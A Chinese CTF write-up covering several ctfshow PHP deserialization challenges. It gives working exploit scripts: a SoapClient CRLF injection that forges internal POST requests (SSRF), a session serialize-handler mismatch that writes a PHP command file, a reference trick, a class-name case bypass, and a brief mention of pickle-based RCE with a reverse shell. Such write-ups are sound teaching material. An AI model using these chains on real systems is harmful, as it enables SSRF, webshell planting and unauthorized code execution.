1.SoapClient反序列化SSRF
CRLF
CRLF简介
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
举个例子
一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转 ,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
SoapClient
SOAP
:Simple Object Access Protocol
简单对象访问协议
正常情况下SaopClient
类,调用一个不存在的函数,会去调用call
这个魔术方法。
接下来看他俩结合的组合拳达到POST
任意数据的效果。
我们可以在UA
头当中进行CRLF
注入,这样就能控制Content-Type
以及POST
的内容。
<?php $target = 'http://127.0.0.1:5555/path' ;$post_string = 'data=something' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=my_session' ); $b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,"\r\n" ,$aaa );$aaa = str_replace ('&' ,'&' ,$aaa );echo $aaa ;$c = unserialize ($aaa );$c ->not_exists_function ();?>
我们可以看到这里成功POST
了一个data=something
以上就是我们这套组合拳的使用,下边看一个具体的题目
web259
index.php
<?php highlight_file (__FILE__ );$vip = unserialize ($_GET ['vip' ]);$vip ->getFlag ();
flag.php
$xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip = array_pop ($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents ('flag.txt' ,$flag ); } }
这里我们看到flag.php
中得到flag
的条件,首先将IP
修改为127.0.0.1
并且POST
一个token=ctfshow
,这里就能将flag
内容写入到flag.txt
当中,我们访问这个文件就能得到flag
。
但是这里的XFF
是无法直接进行伪造的,我们再看下index.php
这里有一个$vip->getFlag()
这里并没有getFlag()
这个函数,因此我们可以用SoapClient
这个类,这样就会调用call
这个魔术方法。同时配合CRLF
构造POST
的内容。
exp.php
<?php $target = 'http://127.0.0.1/flag.php' ;$post_string = 'token=ctfshow' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1' , 'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d' ); $b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,"\r\n" ,$aaa );$aaa = str_replace ('&' ,'&' ,$aaa );echo urlencode ($aaa );?> O%3 A10%3 A%22 SoapClient%22 %3 A4%3 A%7 Bs%3 A3%3 A%22 uri%22 %3 Bs%3 A4%3 A%22 aaab%22 %3 Bs%3 A8%3 A%22 location%22 %3 Bs%3 A25%3 A%22 http%3 A%2 F%2 F127.0.0 .1 %2 Fflag.php%22 %3 Bs%3 A11%3 A%22 _user_agent%22 %3 Bs%3 A235%3 A%22 yn8rt%0 D%0 AContent-Type%3 A+application%2 Fx-www-form-urlencoded%0 D%0 AX-Forwarded-For%3 A+127.0 .0.1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %0 D%0 AUM_distinctid%3 A175648cc09a7ae-050 bc162c95347-32667006 -13 c680-175648 cc09b69d%0 D%0 AContent-Length%3 A+13 %0 D%0 A%0 D%0 Atoken%3 Dctfshow%22 %3 Bs%3 A13%3 A%22 _soap_version%22 %3 Bi%3 A1%3 B%7 D
直接传参,然后访问flag.txt
这样就能得到flag
2.php中的session反序列化
参考文章
这里我们首先了解一下PHP session
的存储机制,PHP session
的存储机制,是由session_serialize_handler
来定义的。
session_serialize_handler
定义的引擎有三种
php:键名+竖线+经过serialize()
函数序列化处理的值
php_binary:键名的长度对应的ASCII字符+键名+经过serialize()
函数序列化处理的值
php_serialize:经过serialize()
函数序列化处理的数组
首先看一下利用php
引擎的序列化结果
<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?>
序列化的结果为:session|s:7:"xianzhi";
再看一下php_serialize
处理器
<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?>
序列化的结果为:a:1:{s:7:"session";s:7:"xianzhi";}
a:1
表示$_SESSION
数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值.
PHP session
反序列化的产生的原因就是由于这两种方式的混用。
形成的原理就是在用session.serialize_handler = php_serialize
存储的字符可以引入 | , 再用session.serialize_handler = php
格式取出$_SESSION
的值时, |
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?>
先看看session
的初始内容,如下:
a:1:{s:7:"session";s:5:"hello";}
存在另一个class.php
文件,内容如下:
<?php error_reporting (0 ); ini_set ('session.serialize_handler' ,'php' ); session_start (); class XianZhi { public $name = 'panda' ; function __wakeup ( ) { echo "Who are you?" ; } function __destruct ( ) { echo '<br>' .$this ->name; } } $str = new XianZhi (); ?>
实例化对象后,输出了panda
这两个文件的作用很清晰,session.php
文件的处理器是php_serialize
,class.php
文件的处理器是php
,session.php
文件的作用是传入可控的 session
值,class.php
文件的作用是在反序列化开始前输出Who are you?
,反序列化结束的时候输出name
值。
这两个文件如果想要利用php bug #71101
,我们要在session.php
文件传入|
+序列化
格式的值,然后再次访问class.php
文件的时候,就会在调用session
值的时候,触发此 BUG。
首先生成序列化字符串,利用 payload 如下
<?php class XianZhi { public $name ; function __wakeup ( ) { echo "Who are you?" ; } function __destruct ( ) { echo '<br>' .$this ->name; } } $str = new XianZhi (); $str ->name = "xianzhi" ; echo serialize ($str ); ?>
payload:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}
然后传入session.php
:
此时的 session
内容如下:
a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}
再次访问class.php
文件的时候,就会发现已经触发了php bug #71101
这个|
将这个payload分割成两个部分,php处理时,会把|
前边的内容作为键值,而后边的部分作为输入的内容进行反序列化,我们可以控制|
后的部分,达到反序列化的目的。
web 263
首先发现了www.zip
找到了题目源代码。
inc.php
...... class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } } ......
这里存在file_put_contents()
函数,可以写入木马。
同时注意到这个文件通过ini_set('session.serialize_handler', 'php');
选择了php
这个处理引擎。
index.php
error_reporting (0 );session_start ();if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { setcookie ("limit" ,base64_encode ('1' )); $_SESSION ['limit' ]= 1 ; }
这里index.php
没有特别声明session
的处理引擎,因此他应该是采用了默认的php_serialize
引擎,这里可以构造session
反序列化然后写入木马。
访问首页,抓包可以看到 Cookie:limit 参数,可以把反序列化数据写入 session 文件
因 inc/inc.php
存在 ini_set('session.serialize_handler', 'php');
和 session_start();
,只要访问即会获取之前写入的 session 数据,然后 check.php
包含 inc/inc.php
,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username
,内容为 $this.password
的文件
exp.php
<?php class User { public $username = 'test.php' ; public $password = '<?php system("cat flag.php") ?>' ; } $user = new User ();echo (base64_encode ('|' .serialize ($user )));?>
加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 key 和 value 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了
具体步骤
1.生成 base64 编码序列化字符串
2.将字符串在浏览器中保存为cookie(输入cookie,刷新下页面),或者抓包改 cookie:limit 的值
3.请求 check.php 反序列化,生成文件
4.访问生成的文件,得到flag
3.反序列化中引用的使用
web 265
index.php
<?php error_reporting (0 );include ('flag.php' );highlight_file (__FILE__ );class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } } $ctfshow = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){ echo $flag ; }
解题思路
这里我们看到,首先对我们输入的内容反序列化,然后将token
设置为一个随机数的哈希值,输出flag
的条件是password
和token
相等,这里我们很难预测这个随机数,更不能构造哈希的碰撞,这里使用引用
。
具体操作如下
exp.php
<?php class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } } $a =new ctfshowAdmin ('123' ,'123' );$a ->password=&$a ->token;echo serialize ($a );
4.PHP对类名的大小写不敏感
index.php
<?php highlight_file (__FILE__ );include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } } $ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
解题思路
首先题目会反序列我们输入的内容,我们只要能正常反序列化这个类然后触发destruct
函数就能正常输出flag
,但是这里正则过滤了类名,我们可以用大小写绕过。
exp.php
<?php class Ctfshow {};$a = new Ctfshow ();echo serialize ($a );?>
这里总结一下大小的问题。
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
5.pickle 反序列化
打开页面查看源代码发现
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
我们输入一个base64
编码的字符串然后触发pickle
的反序列,这里可以RCE
参考文章
因为环境没有bash
这里用/bin/sh
之后可以反弹shell,拿到flag